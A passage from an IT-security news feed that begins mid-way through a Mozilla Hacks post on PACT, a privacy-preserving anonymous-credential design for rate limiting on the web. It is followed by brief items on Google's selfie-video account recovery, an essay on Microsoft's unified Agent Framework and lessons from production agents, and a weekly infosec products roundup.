<p class="c35"><span class="c1">Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), </span><span class="c1">it can be a win for both privacy and access.</span></p>
<h3 class="c24"><span class="c2 c1">The Foundations </span></h3>
<p class="c50"><span class="c0">The good news is that the cryptographic foundations for a privacy preserving approach already exist. The </span><span class="c1 c3"><a class="c5" href="https://privacypass.github.io/">Privacy Pass protocol</a></span><span class="c3 c1"><a class="c5" href="https://www.google.com/url?q=https://privacypass.github.io/&amp;sa=D&amp;source=editors&amp;ust=1782228494401139&amp;usg=AOvVaw3uoXdqARBZKjQF5H8uwYKY">,</a></span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf">originally developed in 2018</a></span><span class="c0"> to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is </span><span class="c13 c11 c1">unlinkable </span><span class="c0">between issuance and redemption. You prove something to an issuer (e.g. by </span><span class="c1">solving a CAPTCHA</span><span class="c0">), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. </span></p>
<p><img alt="A diagram showing the protocol flow for Privacy Pass." class="aligncenter size-full wp-image-48375" height="1639" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-1.excalidraw1-scaled.png" width="2560"></p>
<p class="c27"><img alt="" title=""><span class="c20 c1 c57"><strong>Figure 1</strong>: </span><span class="c0"><em>In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.</em> </span></p>
<p class="c52"><span class="c0">Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: </span><span class="c0">Apple</span><span class="c0"> uses it to authenticate users of </span><span class="c3 c1"><a class="c5" href="https://hacks.mozilla.org/feed/">Private Cloud Compute</a></span><span class="c0"> </span><span class="c1">and</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF">Private Rel</a></span><span class="c17 c1"><a class="c5" href="https://www.google.com/url?q=https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF&amp;sa=D&amp;source=editors&amp;ust=1782228494402463&amp;usg=AOvVaw0KGoiSPg-8NLvNvIiSSbPt">ay</a></span><span class="c1"> </span><span class="c0">without linking their activity to their identity, </span><span class="c0">Chrome</span><span class="c0"> uses it for </span><span class="c3 c1"><a class="c5" href="https://github.com/GoogleChrome/ip-protection">two-hop IP protection</a></span><span class="c0">, and </span><span class="c0">Kagi</span><span class="c0"> uses it to provide </span><span class="c17 c1"><a class="c5" href="https://help.kagi.com/kagi/privacy/privacy-pass.html">private search</a></span><span class="c0">. </span><span class="c0">These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. </span></p>
<p class="c18"><span class="c0">Applying this approach to an open system where any site can act as</span><span class="c0"> an issuer</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://docs.google.com/document/d/1k3QJG2D_Sq4zJiJRn9DfY80hEHuz9UWrJdTt8LbRsMM/edit?tab=t.0#heading=h.r8jxzjcoeumo">brings real challenges</a></span><span class="c0">.</span><span class="c0"> Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. </span><span class="c1">If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. </span><span class="c0">This compounds if </span><span class="c1">sites </span><span class="c0">can learn the set of issuers </span><span class="c1">you have visited</span><span class="c0">, since it becomes a fingerprint which can be used to identify </span><span class="c1">you</span><span class="c0">. </span></p>
<p class="c8"><span class="c3 c1"><a class="c5" href="https://blog.cryptographyengineering.com/2014/11/27/zero-knowledge-proofs-illustrated-primer/">Generic techniques</a></span><span class="c0"> exist for proving a statement in zero knowledge: we can prove that </span><span class="c1">a client</span><span class="c0"> ha</span><span class="c1">s</span><span class="c0"> a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. </span><span class="c0">The generic approach is often slow, but </span><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-orru-zkproof-sigma-protocols-01.html">bespoke approaches</a></span><span class="c0"> tailored to the underlying cryptography can improve this considerably. </span></p>
<p class="c54"><span class="c0">Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, </span><span class="c0">sites are likely to lean towards conservative issuer selection. </span><span class="c1">That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created.</span><span class="c0"> </span></p>
<p class="c32"><span class="c0">To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/partnership-ohttp-prio/">Prio</a></span><span class="c0"> which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. </span></p>
<p class="c59"><span class="c0">Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per </span><span class="c1">client</span><span class="c0"> basis, for example by increasing rate limits where they become more confident the </span><span class="c1">client</span><span class="c0"> is benign and withdrawing access </span><span class="c1">when abuse is detected</span><span class="c0">. </span></p>
<p class="c47"><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-schlesinger-cfrg-act-00.html">Anonymous Credit Tokens</a></span><span class="c0"> </span><span class="c0">offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing </span><span class="c1">the counter whenever</span><span class="c0"> the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. </span></p>
<h3 class="c24"><span class="c2 c1">Putting it together </span></h3>
<p class="c19"><span class="c1">So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a </span><a href="https://pactworkshop.com/"><span class="c17 c1">W3C CG Meeting</span></a><span class="c0"> in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. </span></p>
<p class="c19"><span class="c0">Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an </span><span class="c2 c1">Anchor</span><span class="c0">. To a user who meets the Anchor’s criteria, like having a subscription,</span><span class="c0"> an account in good standing</span><span class="c0">, or a verified phone number, an Anchor issues a batch of </span><span class="c2 c1">Endorsement </span><span class="c0">tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys</span><span class="c1"> </span><span class="c0">scarcity to other sites. </span></p>
<p class="c51"><span class="c0">That’s enough for a simple system where access is </span><span class="c1">either granted or denied</span><span class="c0">. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. </span><span class="c1">The state needed to enforce a rate limit</span><span class="c0"> can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. </span></p>
<p class="c48"><span class="c0">We’ll call that the party that handles rate limiting for a site a </span><span class="c2 c1">Moderator </span><span class="c0">and the stateful object a </span><span class="c2 c1">Credential</span><span class="c0">. </span><span class="c1">A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. </span><span class="c1">A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit.</span><span class="c0"> </span></p>
<p class="c48"><span class="c0">In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.</span></p>
<p class="c14"><img alt="" title=""><img alt="A diagram showing an overview of the PACT system" class="aligncenter size-full wp-image-48381" height="1655" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw21-scaled.png" width="2560"></p>
<p class="c14"><strong><span class="c1 c20">Figure 2: </span></strong><span class="c1"><em>(1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.</em> </span></p>
<p class="c41"><span class="c0">Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of </span><span class="c1">the </span><span class="c0">Anchors it trusts, but not which one. </span></p>
<p class="c28"><span class="c0">When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as</span><span class="c1"> we would for any other third party site</span><span class="c0">. The unlinkability of </span><span class="c1">Credential</span><span class="c0"> presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it </span><span class="c1">does provide a</span><span class="c0"> new way to grant access without requiring users to give up their privacy. </span></p>
<p class="c28"><span class="c0">Enabling Moderators that cover many sites carries a centralisation risk, simila</span><span class="c1">r </span><span class="c0">to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. Th</span><span class="c1">is</span><span class="c0"> </span><span class="c1">can’t</span><span class="c0"> reverse the centralisation pressure the web already faces, but it </span><span class="c1">ensures this system won’t lead to additional lock-in</span><span class="c0">: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. </span></p>
<p class="c46"><span class="c0">The </span><span class="c1">system then has three flows</span><span class="c0">.</span><span class="c0"> First, the user </span><span class="c1">receives</span><span class="c0"> Endorsements from an Anchor in the course of normal interaction</span><span class="c1">, based on the Anchor’s positive view of the user</span><span class="c0">. This is </span><span class="c0">a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.</span></p>
<p class="c10"><img alt="" title=""><img alt="A diagram showing the PACT Anchor Flow" class="aligncenter size-full wp-image-48377" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-3.excalidraw1-scaled.png" width="2560"></p>
<p class="c10"><strong><span class="c20 c1">Figure 3</span></strong><span class="c1">: <em>In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.</em></span></p>
<p class="c26"><span class="c0">Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides </span><span class="c13 c11 c1">which </span><span class="c0">Anchor was used, and </span><span class="c1">neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued</span><span class="c0">. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) </span><span class="c1">could be used to</span><span class="c0"> bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.</span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the protocol flow between Anchors and Moderators" class="aligncenter size-full wp-image-48378" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-4.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><span class="c20 c1"><strong>Figure 4</strong></span><span class="c1"><strong>:</strong><em> When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server. </em></span><em><span class="c0"> </span></em></p>
<p class="c25"><span class="c0">Third, as the user browses, the browser presents the Credential and the Moderator updates </span><span class="c1">the internal state of the Credential</span><span class="c0">. The </span><span class="c1">Moderator can reward </span><span class="c0">behaviour that looks benign and </span><span class="c1">penalize suspicious activity</span><span class="c0">, </span><span class="c1">but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers</span><span class="c0">. </span><span class="c0">Revocation falls out of the same mechanism: a Moderator </span><span class="c1">can refuse to return an updated Credential</span><span class="c0">.</span><span class="c0"> </span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the PACT Moderator Flow" class="aligncenter size-full wp-image-48379" height="1618" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><strong><span class="c20 c1">Figure 5</span></strong><span class="c0"><strong>:</strong> <em>The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.</em></span></p>
<p class="c23"><span class="c0">In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving </span><span class="c1">users</span><span class="c0"> with meaningfully less friction. </span></p>
<p class="c16"><span class="c0">AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent </span><span class="c1">behaves.</span><span class="c0"> </span><span class="c1">S</span><span class="c0">ites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. </span><span class="c0">Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. </span></p>
<p class="c6"><span class="c0">Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be </span><span class="c1">joined</span><span class="c0"> into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: </span><span class="c1">the site only learns if </span><span class="c0">the user has a valid Credential below the rate limit, or </span><span class="c1">nothing</span><span class="c0">. </span><span class="c1">W</span><span class="c0">hen the Moderator updates a </span><span class="c1">Credential</span><span class="c0">, it</span><span class="c0"> adjusts the credentials state without learning what it is.</span></p>
<p class="c6"><span class="c1">The additional privacy given to users from </span><span class="c0">Issuer blinding</span><span class="c1"> makes participating in the system more challenging for Moderators</span><span class="c0">. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor </span><span class="c1">more access</span><span class="c0"> than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial </span><span class="c1">access</span><span class="c0"> has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. </span><span class="c1">However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.</span></p>
<p class="c42"><span class="c0">Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust</span><span class="c1">. M</span><span class="c0">ultiparty computation systems like </span><span class="c0">Prio</span><span class="c0"> enable aggregate scoring without compromising pr</span><span class="c1">ivacy</span><span class="c0">. When users present Credentials, they can provide an encrypted share which identifies the anchor they use</span><span class="c1">d and can be privately aggregated to compute the quality of an issuer.</span></p>
<h3 class="c24"><span class="c2 c1">Next Steps </span></h3>
<p class="c49"><span class="c1">We think the</span><span class="c0"> architecture we</span><span class="c1">’ve </span><span class="c0">sketched </span><span class="c1">for PACT </span><span class="c0">has the right shape, but many of the details still need to be worked out</span><span class="c1"> and the entire system needs rigorous privacy and security analysis.</span></p>
<p class="c45"><span class="c0">We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. </span><span class="c0">We’ll be </span><span class="c1">bringing</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://github.com/Moderation-of-unLinkable-Endorsements">draft specifications</a></span><span class="c1"> to these bodies as soon as they’re ready</span><span class="c0">, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. </span></p>
<p class="c29"><span class="c0">If successful, we think we can provide a system which will keep the web open and </span><span class="c1">private</span><span class="c0">, while still giving sites the rate-limiting signal they need. </span></p>
<h3 class="c29"><span class="c2 c1">Acknowledgements</span></h3>
<p class="c4"><em><span class="c11 c1">The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot &amp; Cathie Yun.</span></em><span class="c11 c1"><em> </em> </span></p>
<hr class="c58">
<div>
<p class="c31"><a href="https://hacks.mozilla.org/?p=48374#:~:text=%5B1%5D">[1]</a><span class="c0"> PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.</span></p>
</div>
<p>The post <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">PACT: Anonymous Credentials for the Web</a> appeared first on <a href="https://hacks.mozilla.org/">Mozilla Hacks - the Web developer blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Adds Selfie Video Sign-In to Help Users Recover Locked Accounts]]></title>
<description><![CDATA[Google added selfie video recovery for eligible accounts, using encrypted videos and liveness checks to help users regain access when locked out. The post Google Adds Selfie Video Sign-In to Help Users Recover Locked Accounts appeared first on TechRepublic. This…
Read more →
The post Google Adds ...]]></description>
<link>https://tsecurity.de/de/3691864/it-security-nachrichten/google-adds-selfie-video-sign-in-to-help-users-recover-locked-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691864/it-security-nachrichten/google-adds-selfie-video-sign-in-to-help-users-recover-locked-accounts/</guid>
<pubDate>Fri, 24 Jul 2026 17:04:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google added selfie video recovery for eligible accounts, using encrypted videos and liveness checks to help users regain access when locked out. The post Google Adds Selfie Video Sign-In to Help Users Recover Locked Accounts appeared first on TechRepublic. This…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/google-adds-selfie-video-sign-in-to-help-users-recover-locked-accounts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/google-adds-selfie-video-sign-in-to-help-users-recover-locked-accounts/">Google Adds Selfie Video Sign-In to Help Users Recover Locked Accounts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Adds Selfie Video Sign-In to Help Users Recover Locked Accounts]]></title>
<description><![CDATA[Google added selfie video recovery for eligible accounts, using encrypted videos and liveness checks to help users regain access when locked out.
The post Google Adds Selfie Video Sign-In to Help Users Recover Locked Accounts appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3691822/it-nachrichten/google-adds-selfie-video-sign-in-to-help-users-recover-locked-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691822/it-nachrichten/google-adds-selfie-video-sign-in-to-help-users-recover-locked-accounts/</guid>
<pubDate>Fri, 24 Jul 2026 16:46:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google added selfie video recovery for eligible accounts, using encrypted videos and liveness checks to help users regain access when locked out.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-google-selfie-video-account-recovery/">Google Adds Selfie Video Sign-In to Help Users Recover Locked Accounts</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Microsoft agent framework wars are over. The real architecture decision starts now]]></title>
<description><![CDATA[Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?



At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the fo...]]></description>
<link>https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?</p>



<p class="wp-block-paragraph">At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.</p>



<p class="wp-block-paragraph">Looking back, I think we were asking the wrong question. I certainly was.</p>



<p class="wp-block-paragraph">I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.</p>



<p class="wp-block-paragraph">Then Microsoft settled it for us. It <a href="https://learn.microsoft.com/en-us/agent-framework/overview/">introduced the unified Agent Framework</a>, quietly moved Semantic Kernel and AutoGen into <a href="https://devblogs.microsoft.com/agent-framework/migrate-your-semantic-kernel-and-autogen-projects-to-microsoft-agent-framework-release-candidate/">maintenance mode</a>, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.</p>



<p class="wp-block-paragraph">What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.</p>



<p class="wp-block-paragraph">It didn’t change the meal.</p>



<h2 class="wp-block-heading">The framework was never the hard part</h2>



<p class="wp-block-paragraph">Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?</p>



<p class="wp-block-paragraph">Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.</p>



<p class="wp-block-paragraph">The first question I ask now is much smaller. Does this thing actually need an agent?</p>



<p class="wp-block-paragraph">It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.</p>



<p class="wp-block-paragraph">Part of this is just that “<strong>agent</strong>” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.</p>



<h2 class="wp-block-heading">What building production agents actually taught me</h2>



<p class="wp-block-paragraph">Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.</p>



<h3 class="wp-block-heading">Context beats model choice</h3>



<p class="wp-block-paragraph">Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.</p>



<p class="wp-block-paragraph">I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”</p>



<p class="wp-block-paragraph">The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.</p>



<h3 class="wp-block-heading">Failure is where the real work is</h3>



<p class="wp-block-paragraph">Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.</p>



<p class="wp-block-paragraph">I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.</p>



<p class="wp-block-paragraph">Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.</p>



<h3 class="wp-block-heading">Identity is the real security boundary</h3>



<p class="wp-block-paragraph">This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.</p>



<p class="wp-block-paragraph">Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.</p>



<h3 class="wp-block-heading">The surprises weren’t technical</h3>



<p class="wp-block-paragraph">Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.</p>



<h2 class="wp-block-heading">Build for change, not for today’s winner</h2>



<p class="wp-block-paragraph">I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.</p>



<p class="wp-block-paragraph">The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.</p>



<p class="wp-block-paragraph">For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.</p>



<p class="wp-block-paragraph">I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.</p>



<p class="wp-block-paragraph">It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.</p>



<p class="wp-block-paragraph">So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.</p>



<p class="wp-block-paragraph">Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?</p>



<p class="wp-block-paragraph">Those questions outlast every rewrite. That’s where I’ve learned to put my effort.</p>



<p class="wp-block-paragraph">Frameworks come and go. Good architecture has to survive all of them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New infosec products of the week: July 24, 2026]]></title>
<description><![CDATA[Here’s a look at the most interesting products from the past week, featuring releases from Astelia, Druva, Swimlane, and ThreatDown. Druva brings backup, recovery and governance to AI workloads Druva has announced Druva AI Resilience, a new approach that helps organizations recover, govern, and d...]]></description>
<link>https://tsecurity.de/de/3690679/it-security-nachrichten/new-infosec-products-of-the-week-july-24-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690679/it-security-nachrichten/new-infosec-products-of-the-week-july-24-2026/</guid>
<pubDate>Fri, 24 Jul 2026 06:26:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Here’s a look at the most interesting products from the past week, featuring releases from Astelia, Druva, Swimlane, and ThreatDown. Druva brings backup, recovery and governance to AI workloads Druva has announced Druva AI Resilience, a new approach that helps organizations recover, govern, and defend the systems, activity, and context behind AI-powered work. The launch introduces new and expanded capabilities for Microsoft Copilot, Claude Code, Druva Model Context Protocol (MCP), and Dru SRE Agent for … <a href="https://www.helpnetsecurity.com/2026/07/24/new-infosec-products-of-the-week-july-24-2026/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
